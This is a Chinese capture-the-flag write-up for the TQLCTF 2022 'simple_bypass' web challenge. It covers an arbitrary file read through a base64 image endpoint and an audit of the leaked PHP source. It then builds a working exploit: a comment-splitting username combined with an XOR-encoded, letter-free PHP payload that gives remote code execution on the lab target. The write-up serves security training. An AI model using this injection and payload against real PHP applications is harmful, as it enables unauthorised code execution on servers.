开靶机,发现一个登录与注册的页面,尝试sql注入,无果,随便注册一个登录上去

东西很多,到处点一点,发现在杰哥那张图片的元素中有base64编码

拿到base64转图片去看一下,BASE64转图片 - 站长工具 - 极速数据 (jisuapi.com)

发现有图片出来,说明应该可以通过这个来任意读取文件内容,

再往上能看到一个src,提示了我们获取文件的方法,

读到index.php内容的base64编码,解密Base64 在线编码解码 | Base64 加密解密 - Base64.us

<?phperror_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){$hash_user = md5($_POST['user']);$hash_pass = 'zsf'.md5($_POST['pass']);if(isset($_POST['punctuation'])){//filterif (strlen($_POST['user']) > 6){echo("<script>alert('Username is too long!');</script>");}elseif(strlen($_POST['website']) > 25){echo("<script>alert('Website is too long!');</script>");}elseif(strlen($_POST['punctuation']) > 1000){echo("<script>alert('Punctuation is too long!');</script>");}else{if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);$template = file_get_contents('./template.html');$content = str_replace("__USER__", $_POST['user'], $template);$content = str_replace("__PASS__", $hash_pass, $content);$content = str_replace("__WEBSITE__", $_POST['website'], $content);$content = str_replace("__PUNC__", $_POST['punctuation'], $content);file_put_contents('sandbox/'.$hash_user.'.php', $content);echo("<script>alert('Successed!');</script>");}else{echo("<script>alert('Invalid chars in website!');</script>");}}else{echo("<script>alert('Invalid chars in username!');</script>");}}}else{setcookie("user", $_POST['user'], time()+3600);setcookie("pass", $hash_pass, time()+3600);Header("Location:sandbox/$hash_user.php");}
}
?>

审计代码(还好简单,不然我这个菜鸡就寄了),几个post传参,并对长度进行了限制,然后正则匹配过滤。

看到这个

$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

很像无字母数字rce,先看看后面的,获取了template.html的页面内容,并进行了一些替换,我们再去看看template.html的代码

上面的头部不用管,直接看body

<body>
<div id="lr_bar"><ul id="default_app"><li id="app0"><img src="../img/icon1.png" title="bilibili" path="https://www.bilibili.com/"/></li><!-- <li  id="app2"><img src="../img/icon0.png" title="Stack Overflow" path="https://stackoverflow.com/"/></li> --><li id="app3"><img src="../img/icon2.png" title="世纪佳缘" path="https://www.jiayuan.com/"/></li><!-- <li id="app1"><img src="../img/icon11.png" title="steam" path="https://store.steampowered.com/"/></li> --></ul><div id="default_tools"> <span id="showZm_btn" title="显示桌面"></span><span id="shizhong_btn" title="时钟"></span><span id="weather_btn" title="天气"></span> <span id="them_btn" title="主题"></span></div><div id="start_block"> <a title="开始" id="start_btn"></a><div id="start_item"><ul class="item admin"><li><span class="adminImg"></span><?phperror_reporting(0);$user = ((string)__USER__);$pass = ((string)__PASS__);if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){echo($_COOKIE['user']);}else{die("<script>alert('Permission denied!');</script>");}?></li></ul><ul class="item"><li><span class="sitting_btn"></span>系统设置</li><li><span class="help_btn"></span>使用指南 <b></b></li><li><span class="about_btn"></span>关于我们</li><li><span class="logout_btn"></span>退出系统</li></ul></div></div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon"><li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span><div class="text">图片<div class="right_cron"></div></div></li><li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span><div class="text">游戏<div class="right_cron"></div></div></li><li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span><div class="text"><b>好康的</b><div class="right_cron"></div></div></li><li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span><div class="text"><b>你的网站</b><div class="right_cron"></div></div></li></ul><div id="taskBar"><div id="leftBtn"><a href="#" class="upBtn"></a></div><div id="rightBtn"><a href="#" class="downBtn"></a> </div><div id="task_lb_wrap"><div id="task_lb"></div></div>
</div></div>
</body>

可以看到几个被插入的数据位置

·user:

主要是这里,但是index.php对他的长度进行了限制,所以不能在这里构造

 ·passwd

在index.php中被md5编码了,也不行。

·website

插入到了标签里面,不好操作

·punctuation 

可以看到被a标签包裹着,而且限制长度最松,就选他了

那么要如何利用呢,可以在用户名那里写半个多行注释符,再在后面的__PUNC__或者__WEBSITE__使用半个注释符进行闭合,然后构造恶意代码,再在最后使用半个多行注释符把后面注释掉就可以了

用异或或自增都可以

user=1)/*&passwd=1&website=1&punctuation=*/;$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*

我们看一下这样创建一个账号,插入到template是个什么样子

<?phperror_reporting(0);$user = (1)/*);$pass = ((string)__PASS__);if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){echo($_COOKIE['user']);}else{die("<script>alert('Permission denied!');</script>");}?></li></ul><ul class="item"><li><span class="sitting_btn"></span>系统设置</li><li><span class="help_btn"></span>使用指南 <b></b></li><li><span class="about_btn"></span>关于我们</li><li><span class="logout_btn"></span>退出系统</li></ul></div></div>
</div>
<a href="#" class="powered_by">*/;$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*</a>
<ul id="deskIcon"><li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span><div class="text">图片<div class="right_cron"></div>

很明显看出被构造成了一个php脚本,其他无用代码都被注释了

登录 ,跟之前页面不一样没关系

直接get传参拿到flag

simple_bypass相关推荐

  1. [TQLCTF 2022]simple_bypass

    前言 脑洞好大好大的题目,又被秀到了.不得不佩服. 标签 WEB PHP LFI RCE 无字母RCE 解题 进入页面要求注册: 注册后进入页面: 每个功能点都试一遍: 最特殊的是那个好康的,我们看一 ...

最新文章

  1. “你写的 Bug 让我来改好吗” | 每日趣闻
  2. python链家数据分析统计服_链家数据分析一--数据离散化处理
  3. HDU - 4784 Dinner Coming Soon(bfs+动态规划+优先队列)
  4. 【剑指offer】——求出一个正整数的质数因子(Python)
  5. 软件工程测试旅游管理系统,旅游管理系统的设计与实现
  6. 灵感|APP夜间模式如何设计?
  7. python中字典的键是唯一的吗_Python怎么通过字典的键和值做一个登录程序?
  8. 2016CCPC网选 1002:Zhu and 772002(求解矩阵秩)
  9. 再更。。2019保研北大夏令营+九推
  10. matpower常用标准算例
  11. 微信小程序之网易云音乐的实现-云音乐
  12. Qt QDir相关笔记
  13. IBM发布基于内存的人工智能计算架构
  14. 12V直通限流芯片,输出12V,短路保护,可调限流1A-4A
  15. dispatch_once造成的死锁问题
  16. python startswith正则表达式_Python 正则表达式
  17. php扩展 sockets,php sockets扩展安装配置详解
  18. 计算机相关专业零基础论文画图详细教程(避免掉坑教程)
  19. 用HTML5实现十里桃花歌词的打印(一)
  20. 浅谈通用的字典表结构设计

热门文章

  1. 基于SPRINGBOOT果多多水果电商平台
  2. Unreal Engine中的UHT和UBT
  3. 再厚的马赛克都能被扒干净?这款「去码」神器火了
  4. python 报错 invalid value 2_【python】错误解决经历
  5. 用 DELPHI 为 MQL5 编写 DLL 指南
  6. fitbit同步不了怎么解决_Fitbit 智能设备没有与安卓设备的 Fitbit 应用程序同步怎么办?...
  7. 活动创意来源和感想思考
  8. Win7系统下搭建NFS服务器
  9. 深度学习06 - LSTM网络-处理可变长序列输入问题
  10. 北航计算机学硕和专硕的录取率,北航清退404位学生!过来人告诉你,读研和读博的压力比想象更大...